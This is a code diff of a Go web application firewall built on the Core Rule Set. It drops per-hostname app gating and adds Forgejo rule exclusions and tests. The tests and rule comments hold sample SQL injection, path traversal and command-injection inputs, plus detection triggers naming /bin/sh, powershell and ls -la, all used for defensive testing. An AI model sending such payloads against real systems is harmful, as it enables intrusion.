@@ -310,15 +361,13 @@ func checkExclusions(exclusions string) error {
type CoreRuleSet struct {
engine coraza.WAF
bodyLimit int64
apps map[string][]string
}
// New returns the Core Rule Set with the five changes and the apps' fixes,
// at params' paranoia level, without the rules it switches off, reading
// request bodies up to params' limit, and with params' exclusions file
// loaded before the Core Rule Set's rules. An exclusions file is an error
// if it cannot be read or does not parse, or if checkExclusions refuses
// it.
// New returns the Core Rule Set with the fifteen changes, at params'
// paranoia level, without the rules it switches off, reading request
// bodies up to params' limit, and with params' exclusions file loaded
// before the Core Rule Set's rules. An exclusions file is an error if it
// cannot be read or does not parse, or if checkExclusions refuses it.
func New(params Params) (*CoreRuleSet, error) {
body := ""
if params.BodyLimit > 0 {
@@ -341,13 +390,10 @@ func New(params Params) (*CoreRuleSet, error) {
}
}
var fixes strings.Builder
for _, name := range AppNames() {
fixes.WriteString(apps[name].directives + "\n")
}
text := fmt.Sprintf(directives, params.ParanoiaLevel, body, exclusions,
fixes.String())
giteaExclusions, wordpressExclusions, drupalExclusions,
mediawikiExclusions, mastodonExclusions, vaultwardenExclusions,
nextcloudExclusions, forgejoExclusions)
if len(params.DisabledRules) > 0 {
ids := make([]string, len(params.DisabledRules))
@@ -365,9 +411,7 @@ func New(params Params) (*CoreRuleSet, error) {
return nil, fmt.Errorf("load the Core Rule Set: %w", err)
}
return &CoreRuleSet{
engine: engine, bodyLimit: params.BodyLimit, apps: params.Apps,
}, nil
return &CoreRuleSet{engine: engine, bodyLimit: params.BodyLimit}, nil
}
// Result is what the Core Rule Set found in a request.
@@ -379,12 +423,11 @@ type Result struct {
Score int
}
// Inspect runs the Core Rule Set on r, a request from client, with the
// fixes of the apps appsFor names for r's hostname: on its method, its URL
// with the query, and its headers, the Cookie header without those apps'
// cookies, and on body, r's body as the caller has it, as readBody reads
// it. It returns what it found, what it read of body, and the error that
// ended the reading early, if one did.
// Inspect runs the Core Rule Set on r, a request from client: on its
// method, its URL with the query, and its headers, the Cookie header
// without the cookies in cookiesNotRead, and on body, r's body as the
// caller has it, as readBody reads it. It returns what it found, what it
// read of body, and the error that ended the reading early, if one did.
func (c *CoreRuleSet) Inspect(
r *http.Request, client netip.Addr, body io.Reader,
) (Result, []byte, error) {
@@ -392,24 +435,13 @@ func (c *CoreRuleSet) Inspect(
// Closing would remove the files Coraza wrote, and it writes none.
defer func() { _ = tx.Close() }()
// The transaction's variables are set only through Coraza's interface
// for plugins.
state := tx.(plugintypes.TransactionState) //nolint:forcetypeassert // every one is
var cookiesNotRead []string
for _, name := range c.appsFor(r.Host) {
state.Variables().TX().Set("app_"+name, []string{"1"})
cookiesNotRead = append(cookiesNotRead, apps[name].cookies...)
}
tx.ProcessConnection(client.String(), 0, "", 0)
tx.ProcessURI(r.URL.String(), r.Method, r.Proto)
for name, values := range r.Header {
for _, value := range values {
if name == "Cookie" {
value = withoutCookies(value, cookiesNotRead)
value = withoutCookiesNotRead(value)
if value == "" {
continue // it held those cookies alone
}
@@ -502,26 +534,9 @@ func score(tx types.Transaction) int {
return n
}
// appsFor returns the names of the apps whose fixes a request for host,
// its Host header, gets: every app while SWW_APPS is unset, and otherwise
// those SWW_APPS lists for host's name, without the port and in
// lowercase.
func (c *CoreRuleSet) appsFor(host string) []string {
if c.apps == nil {
return AppNames()
}
hostname, _, err := net.SplitHostPort(host)
if err != nil {
hostname = host // it has no port
}
return c.apps[strings.ToLower(hostname)]
}
// withoutCookies returns value, a Cookie header's, without the cookies
// named in cookiesNotRead.
func withoutCookies(value string, cookiesNotRead []string) string {
// withoutCookiesNotRead returns value, a Cookie header's, without the
// cookies in cookiesNotRead.
func withoutCookiesNotRead(value string) string {
var kept []string
for cookie := range strings.SplitSeq(value, ";") {
+13 -137
View File
@@ -38,14 +38,12 @@ var loaded = struct {
}{loaders: map[string]func() (*coreruleset.CoreRuleSet, error){}}
// loaderFor returns the function that loads the Core Rule Set with params
// once, making it the first time params are asked for. %#v writes a nil
// Apps, which gives every app's fixes, apart from an empty one, which
// gives none.
// once, making it the first time params are asked for.
func loaderFor(params coreruleset.Params) func() (*coreruleset.CoreRuleSet, error) {
loaded.Lock()
defer loaded.Unlock()
settings := fmt.Sprintf("%#v", params)
settings := fmt.Sprintf("%+v", params)
load, found := loaded.loaders[settings]
if !found {
@@ -159,10 +157,9 @@ func inspectBody(
}
for _, header := range r.headers {
// Go's server keeps Host and Transfer-Encoding out of the headers,
// whatever their case.
// Go's server keeps Host and Transfer-Encoding out of the headers.
name, value, _ := strings.Cut(header, ": ")
switch http.CanonicalHeaderKey(name) {
switch name {
case "Host":
req.Host = value
case "Transfer-Encoding":
@@ -207,8 +204,8 @@ func atDefaults(t *testing.T) *coreruleset.CoreRuleSet {
}
// wantChange checks that crs lets through passes, a request one of the
// five changes or an app's fixes are for, and still finds result in
// refused, a request like it that they are not for.
// fifteen changes is for, and still finds result in refused, a request like
// it that the change is not for.
func wantChange(
t *testing.T, crs *coreruleset.CoreRuleSet, passes, refused request,
result coreruleset.Result,
@@ -373,7 +370,7 @@ func TestParameterNamesAreMatchedWithoutRegardToCase(t *testing.T) {
get("/?next=http://127.0.0.1:52341/"), matched(931100, 934110))
}
func TestCookiesGiteaFlashAndRedirectToAreNotRead(t *testing.T) {
func TestFlashAndRedirectToCookiesAreNotRead(t *testing.T) {
t.Parallel()
const (
@@ -383,8 +380,12 @@ func TestCookiesGiteaFlashAndRedirectToAreNotRead(t *testing.T) {
crs := atDefaults(t)
wantChange(t, crs, get("/owner/repo", "Cookie: gitea_flash="+flash),
get("/owner/repo", "Cookie: flash="+flash), matched(930120))
// flash is Forgejo's name for gitea_flash.
for _, name := range []string{"gitea_flash", "flash"} {
wantChange(t, crs, get("/owner/repo", "Cookie: "+name+"="+flash),
get("/owner/repo", "Cookie: message="+flash), matched(930120))
}
wantChange(t, crs, get("/", "Cookie: redirect_to="+redirectTo),
get("/", "Cookie: redirect="+redirectTo), matched(930120))
@@ -469,131 +470,6 @@ func TestImagePushThatReusesALayerIsNotCheckedForCommandNames(t *testing.T) {
matched(930120, 932160))
}
// giteaFixed are gitea requests that only gitea's fixes let through, one
// for each kind of fix, each with what the Core Rule Set finds in it
// without them.
//
//nolint:gochecknoglobals // a constant cannot be a list
var giteaFixed = []struct {
request request
result coreruleset.Result
}{
// A search of code, on the path of gitea's search.
{get("/explore/code?q=SELECT%20*%20FROM%20users%20WHERE"), matched(942100)},
// A file name, in a parameter gitea sends names in, on any path.
{get("/?path=.gitignore"), matched(930120)},
// A file name, in a cookie of gitea's.
{
get("/owner/repo", "Cookie: gitea_flash=success%3DFile%2Bpackage.json%2Bdeleted"),
matched(930120),
},
// A page opened from the page of a file named for a Java class.
{
get("/", "Referer: https://git.example/owner/repo/src/branch/main/"+
"java.lang.String.md"),
matched(944130),
},
// An image push that reuses a layer, naming the image the layer comes from.
{get("/v2/owner/app/blobs/uploads/?from=python3"), matched(932260)},
}
// The hostnames of the tests of SWW_APPS: the one that serves gitea, and
// one that serves another app.
const (
giteaHost = "git.example"
otherHost = "blog.example"
)
// gitea is gitea's name in SWW_APPS.
const gitea = "gitea"
// wordpress is WordPress's name in SWW_APPS.
const wordpress = "wordpress"
// withHost returns r sent to host.
func withHost(r request, host string) request {
return request{r.method, r.target, append([]string{"Host: " + host}, r.headers...)}
}
// servingApps returns the Core Rule Set at the defaults, with SWW_APPS
// giving apps.
func servingApps(t *testing.T, apps map[string][]string) *coreruleset.CoreRuleSet {
t.Helper()
return shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, Apps: apps,
})
}
func TestAppsUnsetGivesEveryHostnameEveryAppsFixes(t *testing.T) {
t.Parallel()
crs := servingApps(t, nil)
for _, fixed := range giteaFixed {
for _, host := range []string{giteaHost, otherHost} {
wantResult(t, crs, withHost(fixed.request, host), coreruleset.Result{})
}
}
}
func TestListedHostnameGetsItsAppsFixes(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{giteaHost: {gitea}})
// The hostname is matched without the port and without regard to case.
for _, host := range []string{giteaHost, "GIT.Example:8443"} {
for _, fixed := range giteaFixed {
wantResult(t, crs, withHost(fixed.request, host), coreruleset.Result{})
}
}
}
func TestUnlistedHostnameGetsTheFullCheck(t *testing.T) {
t.Parallel()
for _, apps := range []map[string][]string{
{giteaHost: {gitea}},
// SWW_APPS set empty lists no hostname.
{},
} {
crs := servingApps(t, apps)
for _, host := range []string{otherHost, otherHost + ":8443", "git.example.org"} {
for _, fixed := range giteaFixed {
wantResult(t, crs, withHost(fixed.request, host), fixed.result)
}
}
}
}
func TestWordPressFixesApplyOnlyToAHostnameThatServesWordPress(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {wordpress},
})
// A search, which only WordPress's fixes let through.
search := get("/?s=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
func TestHostnameListingTwoAppsGetsTheFixesOfBoth(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{giteaHost: {gitea, wordpress}})
// A file name that only gitea's fixes let through, and a search that only
// WordPress's fixes let through.
for _, target := range []string{"/?path=.gitignore", "/?s=python3"} {
wantResult(t, crs, withHost(get(target), giteaHost), coreruleset.Result{})
}
}
// withExclusions returns the Core Rule Set at the defaults, with the
// exclusions file at path.
func withExclusions(path string) (*coreruleset.CoreRuleSet, error) {
+1 -10
View File
@@ -1,4 +1,4 @@
# Drupal's fixes: on Drupal's paths, some fields skip the rules that refused
# The tenth change: on Drupal's paths, some fields skip the rules that refused
# ordinary Drupal requests there. They are the fields where Drupal sends a
# search, a name, a file name or an address. Each exclusion runs with the
# request, before the rules it switches off, so this file is loaded before the
@@ -25,13 +25,6 @@
# 932230: ls -la
# 932235: python3
# Unless SWW_APPS lists drupal for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_drupal when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_drupal itself.
SecRule &TX:app_drupal "@eq 0" \
"id:900790,phase:1,pass,nolog,skipAfter:END_DRUPAL"
# Every admin page's filters and autocompletes, and the page to return to:
# title: /admin/content?title=python3
# name: /admin/content/media?name=python3
@@ -330,5 +323,3 @@ SecRule REQUEST_FILENAME "@rx ^(?:/[a-z]{2,3}(?:-[a-z]+)?)?/user/password$" \
SecRule &ARGS_GET:json.mail "@eq 0" \
"ctl:ruleRemoveTargetById=932120;ARGS:json.mail,\
ctl:ruleRemoveTargetById=932260;ARGS:json.mail"
SecMarker END_DRUPAL
-16
View File
@@ -5,8 +5,6 @@ import (
"net/url"
"slices"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// drupalThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
@@ -39,20 +37,6 @@ const drupalEditAccount = "/user/2/edit"
// drupalName is the field for a person's name, as the start of a form body.
const drupalName = "name="
func TestDrupalFixesApplyOnlyToAHostnameThatServesDrupal(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {"drupal"},
})
// A search, which only Drupal's fixes let through.
search := get("/search?keys=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
// drupalAttacks are an SQL injection, a path traversal and a script
// injection, as a query value.
//
+21
View File
@@ -0,0 +1,21 @@
# The fifteenth change: on Forgejo's paths, some fields skip the rules that
# refused ordinary Forgejo requests there. Forgejo is a fork of gitea, and the
# eighth change's fixes for gitea apply to its requests too, so this file holds
# only what Forgejo sends and gitea does not. Each exclusion runs with the
# request, before the rules it switches off, so this file is loaded before the
# Core Rule Set's rules. Each comment names a request the rule refused.
# Forgejo's search of a wiki sends the text searched for in q, which skips
# these rules there:
# 930120: .htaccess
# 932120: powershell
# 932160: /bin/sh
# 932250: ls -la
# 932260: python3
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/wiki/search$" \
"id:900680,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932160;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
+78
View File
@@ -0,0 +1,78 @@
package coreruleset_test
import (
"net/http"
"slices"
"testing"
)
// forgejoSearches are Forgejo's searches whose q skips some rules: the
// wiki's, from the fifteenth change, and the searches for a name, from the
// eighth.
//
//nolint:gochecknoglobals // a constant cannot be a list
var forgejoSearches = []string{
"/alice/tools/wiki/search",
"/explore/repos",
"/explore/users",
"/alice/tools/branches",
"/alice/-/packages",
"/api/v1/packages/alice",
"/alice",
}
// forgejoAttacks are an SQL injection, a path traversal, a script injection
// and a shell command after a ";", as query values.
//
//nolint:gochecknoglobals // a constant cannot be a list
var forgejoAttacks = []string{
sqlInjection, "..%2Fcustom%2Fconf%2Fapp.ini", scriptInjection, commandInjection,
}
func TestForgejoAttacksAreRefusedInItsSearches(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
defaults, bodies := atDefaults(t), readingBodies(t)
for _, path := range forgejoSearches {
for _, attack := range forgejoAttacks {
if got := inspect(t, defaults, get(path+"?q="+attack)); got.Score < threshold {
t.Errorf("GET %s?q=%s let through: %+v", path, attack, got)
}
// The same field in a form data body.
r := request{http.MethodPost, path, []string{formData}}
if got, _ := inspectBody(t, bodies, r, "q="+attack); got.Score < threshold {
t.Errorf("POST %s q=%s let through: %+v", path, attack, got)
}
}
}
}
func TestForgejoExclusionsAreNarrow(t *testing.T) {
t.Parallel()
const threshold = 5 // SWW_WAF_ANOMALY_THRESHOLD's default
crs := atDefaults(t)
// /bin/sh and the hard values, which q lets through on the wiki's
// search, stay refused in q on paths near it and in another field on it.
// /alice/wiki/search would be the code search of a repository named
// wiki, where the eighth change lets q through. Forgejo has no owner
// named api, so /api/wiki/search is not one.
for _, target := range []string{
"/alice/tools/wiki/Home?q=",
"/alice/tools/wiki/search/x?q=",
"/api/wiki/search?q=",
"/alice/tools/wiki/search?other=",
} {
for _, value := range slices.Concat([]string{"%2Fbin%2Fsh"}, hardValues) {
if got := inspect(t, crs, get(target+value)); got.Score < threshold {
t.Errorf("%s%s let through: %+v", target, value, got)
}
}
}
}
+26 -71
View File
@@ -1,55 +1,8 @@
# gitea's fixes: some fields skip the rules that refused ordinary gitea requests.
# They are the fields where gitea sends a search, a file name or a branch name.
# Each exclusion runs with the request, before the rules it switches off, those
# of phase 1 included, so this file is loaded before the Core Rule Set's rules.
# Each comment names a request the rule refused.
# Unless SWW_APPS lists gitea for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_gitea when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_gitea itself.
SecRule &TX:app_gitea "@eq 0" \
"id:900590,phase:1,pass,nolog,skipAfter:END_GITEA"
# The query parameters in which gitea sends names within a repository or its
# own records, or a page of its own site, are not checked against the lists of
# system files, shell paths and command names, on any path:
# 930120: .gitignore
# 932160: bin/docker-entrypoint
# 932260: docker-build
# ARGS holds the fields of a form data or multipart body Coraza reads as well
# as the query parameters, so a field of these names is left out too.
SecAction "id:900591,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:path,\
ctl:ruleRemoveTargetById=930120;ARGS:files,\
ctl:ruleRemoveTargetById=930120;ARGS:skip-to,\
ctl:ruleRemoveTargetById=930120;ARGS:sub_path,\
ctl:ruleRemoveTargetById=930120;ARGS:ref,\
ctl:ruleRemoveTargetById=930120;ARGS:sha,\
ctl:ruleRemoveTargetById=930120;ARGS:branch,\
ctl:ruleRemoveTargetById=930120;ARGS:workflow,\
ctl:ruleRemoveTargetById=930120;ARGS:artifactName,\
ctl:ruleRemoveTargetById=930120;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=932160;ARGS:path,\
ctl:ruleRemoveTargetById=932160;ARGS:files,\
ctl:ruleRemoveTargetById=932160;ARGS:skip-to,\
ctl:ruleRemoveTargetById=932160;ARGS:sub_path,\
ctl:ruleRemoveTargetById=932160;ARGS:ref,\
ctl:ruleRemoveTargetById=932160;ARGS:sha,\
ctl:ruleRemoveTargetById=932160;ARGS:branch,\
ctl:ruleRemoveTargetById=932160;ARGS:workflow,\
ctl:ruleRemoveTargetById=932160;ARGS:artifactName,\
ctl:ruleRemoveTargetById=932160;ARGS:redirect_to,\
ctl:ruleRemoveTargetById=932260;ARGS:path,\
ctl:ruleRemoveTargetById=932260;ARGS:files,\
ctl:ruleRemoveTargetById=932260;ARGS:skip-to,\
ctl:ruleRemoveTargetById=932260;ARGS:sub_path,\
ctl:ruleRemoveTargetById=932260;ARGS:ref,\
ctl:ruleRemoveTargetById=932260;ARGS:sha,\
ctl:ruleRemoveTargetById=932260;ARGS:branch,\
ctl:ruleRemoveTargetById=932260;ARGS:workflow,\
ctl:ruleRemoveTargetById=932260;ARGS:artifactName,\
ctl:ruleRemoveTargetById=932260;ARGS:redirect_to"
# The eighth change: on gitea's paths, some fields skip the rules that refused
# ordinary gitea requests there. They are the fields where gitea sends a search,
# a file name or a branch name. Each exclusion runs with the request, before the
# rules it switches off, those of phase 1 included, so this file is loaded before
# the Core Rule Set's rules. Each comment names a request the rule refused.
# gitea's searches of code, of issues and pull requests, and of commits send the
# text searched for in q, which skips these rules there:
@@ -149,13 +102,16 @@ SecRule REQUEST_HEADERS:Referer "@rx ^https?://[^/]+/(?:explore/code|\
# name in q, which skips these rules there:
# 930120: .profile
# 932120: powershell-scripts
# 932250: ls -la
# 932260: python3-app
# 944130: org.apache.commons.logging
SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
[^/]+/-/packages|[^/]+/[^/]+/(?:branches|tags)|api/v1/repos/search)$" \
[^/]+/-/packages|[^/]+/[^/]+/(?:branches|tags)|api/v1/repos/search|\
api/v1/packages/[^/]+)$" \
"id:900602,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q,\
ctl:ruleRemoveTargetById=944130;ARGS:q"
@@ -163,19 +119,31 @@ SecRule REQUEST_FILENAME "@rx ^/(?:explore/repos|user/search_candidates|\
# rules there:
# 930120: .profile
# 932120: powershell-scripts
# 932250: ls -la
# 932260: python3-app
# The searches:
# - the dashboard's filter of repositories;
# - the repositories on a user's or an organisation's page, whose path has
# one segment;
# - the author filter of the issue and pull request lists;
# - the lists of users and organisations, and the API's search for users.
SecRule REQUEST_FILENAME "@rx ^/(?:[^/]+|repo/search|\
SecRule REQUEST_FILENAME "@rx ^/(?:repo/search|\
explore/(?:users|organizations)|api/v1/users/search|\
[^/]+/[^/]+/(?:issues|pulls)/posters)$" \
"id:900603,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932250;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# The repositories on a user's or an organisation's page are searched with q
# too. Their path has one segment, as other apps' pages such as /index.php do,
# so q keeps 932250 there and skips only these rules:
# 930120: .profile
# 932120: powershell-scripts
# 932260: python3-app
SecRule REQUEST_FILENAME "@rx ^/[^/]+$" \
"id:900604,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=930120;ARGS:q,\
ctl:ruleRemoveTargetById=932120;ARGS:q,\
ctl:ruleRemoveTargetById=932260;ARGS:q"
# These requests name a file in the path, which skips these rules there:
@@ -210,8 +178,8 @@ SecRule REQUEST_FILENAME \
# 942140: information_schema.sql
# 944110: java/lang/Runtime.java
# 944130: java.lang.String.md
# Each request skips the rules that refused it. Rule 900591 already has path and
# redirect_to skip 930120, 932160 and 932260 on every path.
# Each request skips the rules that refused it. The fourth change already has
# path and redirect_to skip 930120, 932160 and 932260 on every path.
# A file's commit graph, in file.
SecRule REQUEST_FILENAME "@rx ^/[^/]+/[^/]+/graph$" \
@@ -383,16 +351,3 @@ SecRule REQUEST_FILENAME "@rx ^/user/(?:login|sign_up|link_account_signin|link_a
ctl:ruleRemoveTargetById=942540;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=942550;ARGS:/^(?:password|retype|old_password|json\.password)$/,\
ctl:ruleRemoveTargetById=944150;ARGS:/^(?:password|retype|old_password|json\.password)$/"
# Referer skips the rule on Java class names (944130). It refused every page
# opened from the page of java.lang.String.md.
SecAction "id:900641,phase:1,pass,nolog,\
ctl:ruleRemoveTargetById=944130;REQUEST_HEADERS:Referer"
# A container image push that reuses a layer names the image it takes the layer
# from in the query parameter from, which skips the list of command names
# (932260) there. It refused the push of a layer from owner/python3-app.
SecRule REQUEST_FILENAME "@rx ^/v2/.+/blobs/uploads/$" \
"id:900500,phase:1,pass,nolog,ctl:ruleRemoveTargetById=932260;ARGS:from"
SecMarker END_GITEA
+1 -10
View File
@@ -1,4 +1,4 @@
# Mastodon's fixes: on Mastodon's paths, some fields skip the rules that
# The twelfth change: on Mastodon's paths, some fields skip the rules that
# refused ordinary Mastodon requests there. They are the fields where Mastodon
# sends a search, a name, a title, a file name, an address or free text. Each
# exclusion runs with the request, before the rules it switches off, so this
@@ -17,13 +17,6 @@
# 932250: ls -la
# 932260: python3
# Unless SWW_APPS lists mastodon for the request's hostname, every rule below is
# skipped. Inspect sets tx.app_mastodon when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_mastodon itself.
SecRule &TX:app_mastodon "@eq 0" \
"id:900940,phase:1,pass,nolog,skipAfter:END_MASTODON"
# The API's searches and names, in the query:
# q: /api/v2/search?q=python3, /api/v1/accounts/search?q=ls+-la
# acct: /api/v1/accounts/lookup?acct=python3
@@ -304,5 +297,3 @@ SecRule REQUEST_FILENAME "@rx ^/auth(?:/|$)" \
"ctl:ruleRemoveTargetById=930120;ARGS:/^user\[email\]$/,\
ctl:ruleRemoveTargetById=932120;ARGS:/^user\[email\]$/,\
ctl:ruleRemoveTargetById=932260;ARGS:/^user\[email\]$/"
SecMarker END_MASTODON
-14
View File
@@ -55,20 +55,6 @@ const (
mastodonStatus = "status="
)
func TestMastodonFixesApplyOnlyToAHostnameThatServesMastodon(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {"mastodon"},
})
// A search, which only Mastodon's fixes let through.
search := get("/api/v2/search?q=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
// mastodonQueryFields sends each field that skips 930120, 932120, 932250
// and 932260 in the query, on a path where it skips them, ending in "=".
//
+3 -17
View File
@@ -1,4 +1,4 @@
# MediaWiki's fixes: on MediaWiki's paths, some fields skip the rules that
# The eleventh change: on MediaWiki's paths, some fields skip the rules that
# refused ordinary MediaWiki requests there. They are the fields where MediaWiki
# sends a search, a title, a name, a file name, an address, a summary or a
# reason, and the fields that hold wikitext. Each exclusion runs with the
@@ -21,13 +21,6 @@
# 932250: ls -la
# 932260: python3
# Unless SWW_APPS lists mediawiki for the request's hostname, every rule below
# is skipped. Inspect sets tx.app_mediawiki when it does.
# The skip reaches only phase 1, so a rule of a later phase must check
# tx.app_mediawiki itself.
SecRule &TX:app_mediawiki "@eq 0" \
"id:900890,phase:1,pass,nolog,skipAfter:END_MEDIAWIKI"
# The pages and their titles, the searches, and the special pages' fields
# for a page, a user, a file or an address:
# title: /index.php?title=Python3_notes&action=history
@@ -215,12 +208,10 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?api\.php$" \
# Spezial:. The title follows /index.php/ or /wiki/ in the path, or is the title
# of /index.php. A title on any other path does not count, so another app's
# paths under /index.php/ keep every rule. These rules are in phase 2, because
# the forms send authAction in the body. They check tx.app_mediawiki, since the
# skip above does not reach phase 2.
# the forms send authAction in the body.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/[^/:]+:" \
"id:900919,phase:2,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?[^/:]+:" "chain"
SecRule &TX:app_mediawiki "@eq 1" "chain"
SecRule &ARGS_GET:/^(?:password|retype)$/ "@eq 0" "chain"
SecRule ARGS:authAction "@streq change" \
"ctl:ruleRemoveTargetById=920270;ARGS:/^(?:password|retype)$/,\
@@ -262,7 +253,6 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php$|^/(?:(?:w/)?index\.php|wiki)/[^/:]+:" \
"id:900920,phase:2,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET:title "@rx ^(?:/(?:(?:w/)?index\.php|wiki)/)?[^/:]+:" "chain"
SecRule &TX:app_mediawiki "@eq 1" "chain"
SecRule &ARGS_GET:retype "@eq 0" "chain"
SecRule ARGS:authAction "@rx ^(?:create|login-continue)$" \
"ctl:ruleRemoveTargetById=920270;ARGS:retype,\
@@ -391,12 +381,10 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
# This rule is in phase 2, because a phase 1 rule runs before the body is read
# and cannot see what wpTitles holds. It checks that the body sends wpTitles
# once, since it would otherwise skip these rules for a second wpTitles
# holding a command. It checks tx.app_mediawiki, since the skip above does not
# reach phase 2.
# holding a command.
SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
"id:900916,phase:2,pass,nolog,chain"
SecRule REQUEST_FILENAME|ARGS_GET_NAMES "@rx ^/(?:w/)?index\.php/.|^/wiki/|^title$" "chain"
SecRule &TX:app_mediawiki "@eq 1" "chain"
SecRule &ARGS_GET:wpTitles "@eq 0" "chain"
SecRule &ARGS_POST:wpTitles "@eq 1" "chain"
SecRule ARGS_POST:wpTitles "!@rx [;|&`{]" \
@@ -405,5 +393,3 @@ SecRule REQUEST_FILENAME "@rx ^/(?:w/)?index\.php(?:$|/.)|^/wiki/" \
ctl:ruleRemoveTargetById=932235;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932260;ARGS:wpTitles,\
ctl:ruleRemoveTargetById=932380;ARGS:wpTitles"
SecMarker END_MEDIAWIKI
-76
View File
@@ -5,16 +5,11 @@ import (
"slices"
"strings"
"testing"
"sneak.berlin/go/smallwebwaf/internal/coreruleset"
)
// mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const mediawikiThreshold = 5
// mediawiki is MediaWiki's name in SWW_APPS.
const mediawiki = "mediawiki"
// mediawikiEdit is the address MediaWiki's edit form posts to.
const mediawikiEdit = "/index.php?title=Example&action=submit"
@@ -54,77 +49,6 @@ const (
mediawikiUploadPage = "/index.php/Special:Upload"
)
func TestMediaWikiFixesApplyOnlyToAHostnameThatServesMediaWiki(t *testing.T) {
t.Parallel()
crs := servingApps(t, map[string][]string{
giteaHost: {gitea}, otherHost: {mediawiki},
})
// A search, which only MediaWiki's fixes let through.
search := get("/index.php?title=Special:Search&search=python3")
wantResult(t, crs, withHost(search, otherHost), coreruleset.Result{})
wantResult(t, crs, withHost(search, giteaHost), matched(932260))
}
func TestMediaWikiWatchlistFixAppliesOnlyToAHostnameThatServesMediaWiki(t *testing.T) {
t.Parallel()
crs := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: map[string][]string{giteaHost: {gitea}, otherHost: {mediawiki}},
})
// A watchlist that only the phase 2 rule 900916 lets through.
r := request{http.MethodPost, mediawikiWatchlist.target, []string{formData}}
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0APython3%20notes"
got, _ := inspectBody(t, crs, withHost(r, otherHost), body)
if got.Score >= mediawikiThreshold {
t.Errorf("POST %s %s on %s refused: %+v", r.target, body, otherHost, got)
}
got, _ = inspectBody(t, crs, withHost(r, giteaHost), body)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s %s on %s let through: %+v", r.target, body, giteaHost, got)
}
}
func TestMediaWikiPasswordFixesApplyOnlyToAHostnameThatServesMediaWiki(t *testing.T) {
t.Parallel()
crs := shared(t, coreruleset.Params{
ParanoiaLevel: 1, DisabledRules: defaultDisabledRules, BodyLimit: bodyLimit,
Apps: map[string][]string{giteaHost: {gitea}, otherHost: {mediawiki}},
})
// Passwords that only the phase 2 rules 900919 and 900920 let through,
// each sent with the authAction of its form.
for _, sent := range []struct{ target, body string }{
{
mediawikiAccountChange,
formBody("authAction", "change") + "&" + formBody(passwordKey, "' OR '1'='1"),
},
{
mediawikiSignUp,
formBody("authAction", "create") + "&" + formBody(retypeKey, "' OR '1'='1"),
},
} {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, withHost(r, otherHost), sent.body)
if got.Score >= mediawikiThreshold {
t.Errorf("POST %s %s on %s refused: %+v", r.target, sent.body, otherHost, got)
}
got, _ = inspectBody(t, crs, withHost(r, giteaHost), sent.body)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s %s on %s let through: %+v", r.target, sent.body, giteaHost, got)
}
}
}
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
// the passwords and the JSON fields of /rest.php/. mediawikiQueryFields sends
+1 -12
View File
@@ -1,4 +1,4 @@
